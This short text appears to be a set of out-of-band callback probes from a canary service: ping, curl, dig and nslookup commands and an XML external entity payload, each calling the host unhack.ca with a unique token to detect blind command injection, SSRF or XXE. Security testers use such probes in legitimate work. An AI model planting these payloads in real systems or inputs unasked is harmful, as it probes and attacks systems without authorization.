$ ping -c1 -p 0062adecfc62415797601937b1606e00 unhack.ca
 

$ curl http://unhack.ca/p/62adecfc62415797601937b1606e
 

$ dig 62adecfc62415797601937b1606e @unhack.ca
 

$ dig 62adecfc62415797601937b1606e.ns.unhack.ca
 

C:\> nslookup 62adecfc62415797601937b1606e unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/62adecfc62415797601937b1606e">]>
    <foo>&xxe;</foo>